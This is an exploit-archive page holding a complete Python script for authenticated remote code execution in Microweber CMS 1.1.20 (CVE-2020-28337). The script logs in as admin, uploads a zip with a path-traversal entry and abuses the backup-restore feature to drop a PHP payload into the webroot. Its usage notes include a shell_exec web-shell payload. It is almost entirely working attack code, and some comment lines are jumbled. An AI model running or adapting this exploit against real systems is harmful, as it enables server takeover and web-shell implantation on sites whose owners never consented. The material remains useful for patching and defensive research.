Share
## https://sploitus.com/exploit?id=PACKETSTORM:162514
# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)   
# Date: 2020-10-31  
# Exploit Author: sl1nki  
# Vendor Homepage: https://microweber.org/  
# Software Link: https://github.com/microweber/microweber/tree/1.1.20  
# Version: <=1.1.20  
# Tested on: Ubuntu 18.04  
# CVE : CVE-2020-28337  
#  
# Example usage with default phpinfo() payload:  
# ./microweber_rce.py \  
# --hostname "http://microwebertest.com" \  
# --username "admin" \  
# --password "password123"  
#  
#  
# Example usage with custom payload (shell_exec):  
# ./microweber_rce.py \  
# --hostname "http://microwebertest.com" \  
# --username "admin" \  
# --password "password123" \  
# --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'  
#  
# Notes:  
# * SSL verification is disabled by default  
# * If for some reason the --target-path "/userfiles/cache  
  
#!/usr/bin/python3  
  
#/" doesn't work, "/userfiles/modules/" is a good one too.  
#  
#  
#  
  
  
import argparse  
import re  
import requests  
import sys  
import zipfile  
  
from io import BytesIO  
  
# Disable insecure SSL warnings  
requests.packages.urllib3.disable_warnings()  
  
class Microweber():  
def __init__(self, baseUrl, proxies=None):  
self.baseUrl = baseUrl  
self.proxies = proxies  
self.cookies = None  
  
self.loginUrl = "/api/user_login"  
self.uploadUrl = "/plupload"  
self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup"  
self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore"  
  
self.targetPath = "/userfiles/cache/"  
self.targetFilename = "payload.php"  
self.zipPayloadName = "payload.zip"  
  
def makePostRequest(self, url, data=None, files=None, headers=None):  
return requests.post(self.baseUrl + url,  
data=data,  
files=files,  
headers=headers,  
cookies=self.cookies,  
proxies=self.proxies,  
verify=False  
)  
  
def makeGetRequest(self, url, params=None):  
return requests.post(self.baseUrl + url,  
params=params,  
cookies=self.cookies,  
proxies=self.proxies,  
verify=False  
)  
  
def login(self, username, password):  
res = self.makePostRequest(self.loginUrl, data={  
"username": username,  
"password": password  
})  
  
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!":  
print(f"[+] Successfully logged in as {username}")  
self.cookies = res.cookies  
else:  
print(f"[-] Unable to login. Status Code: {res.status_code}")  
sys.exit(-1)  
  
def createZip(self, path=None, filename=None, payload=None):  
# In-memory adaptation of ptoomey3's evilarc  
  
# https://github.com/ptoomey3/evilarc  
  
if payload == None:  
payload = "<?php phpinfo(); ?>"  
  
zd = BytesIO()  
zf = zipfile.ZipFile(zd, "w")  
  
# The custom Unzip class uses a path under the webroot for cached file extraction  
# /storage/cache/backup_restore/<md5 hash>/  
# so moving up 4 directories puts us at the webroot  
zf.writestr(f"../../../..{path}{filename}", payload)  
zf.close()  
return zd  
  
def uploadZip(self, zipData):  
# Upload the zip data as a general file  
  
res = self.makePostRequest(self.uploadUrl,  
headers={"Referer": ""},  
data={  
"name": self.zipPayloadName,  
"chunk": 0,  
"chunks": 1  
},  
files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")}  
)  
  
if res.status_code == 200:  
print(f"[+] Successfully uploaded: {self.zipPayloadName}")  
j = res.json()  
print(f"[+] URL: {j['src']}")  
print(f"[+] Resulting Filename: {j['name']}")  
self.zipPayloadName = j['name']  
else:  
print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})")  
sys.exit(-1)  
  
def getAbsoluteWebRoot(self):  
# Determine the webroot using the debug output and the DefaultController.php path  
res = self.makeGetRequest("", params={  
"debug": "true"  
})  
  
if res.status_code != 200:  
print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}")  
sys.exit(-1)  
  
target = "src/Microweber/Controllers/DefaultController.php"  
m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)  
if len(m) == 1:  
return m[0]  
else:  
print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches")  
  
def moveZipToBackup(self):  
# Move the uploaded zip file into the backup directory  
  
webRoot = self.getAbsoluteWebRoot()  
hostname = self.baseUrl.split("//")[1]  
  
src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"  
res = self.makeGetRequest(self.moveZipToBackupUrl, params={  
"src": src  
})  
  
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!":  
print(f"[+] Successfully moved {self.zipPayloadName} to backup")  
else:  
print(f"[-] Unable to move zip to backup ({res.status_code})")  
sys.exit(-1)  
  
def restoreBackup(self, filename):  
# With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely  
  
res = self.makePostRequest(self.restoreBackupUrl, data={  
  
"id": filename  
})  
  
if res.status_code == 200 and "Backup was restored!" in res.text:  
print(f"[+] Successfully restored backup {filename}")  
else:  
print(f"[-] Unable to restore backup {filename}")  
sys.exit(-1)  
  
def exploit(self, payload=None):  
zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)  
m.uploadZip(zipData)  
m.moveZipToBackup()  
m.restoreBackup(self.zipPayloadName)  
  
print(f"[+] Successfully uploaded payload to {self.targetFilename}!=")  
print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}")  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser()  
parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)")  
parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)")  
parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user")  
parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user")  
parser.add_argument("--payload", required=False, dest="payload", help="Payload contents. Should be a string of PHP code. (default is phpinfo() )")  
  
# Uncommon args  
parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php")  
parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/")  
parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip")  
args = parser.parse_args()  
  
proxies = None  
if args.http_proxy:  
proxies = {  
"http": args.http_proxy  
}  
  
m = Microweber(args.hostname, proxies=proxies)  
  
if args.target_file:  
m.targetFilename = args.target_file  
if args.target_path:  
m.targetPath = args.target_path  
  
if args.zip_name:  
m.zipPayloadName = args.zip_name  
  
m.login(args.username, args.password)  
m.exploit(args.payload)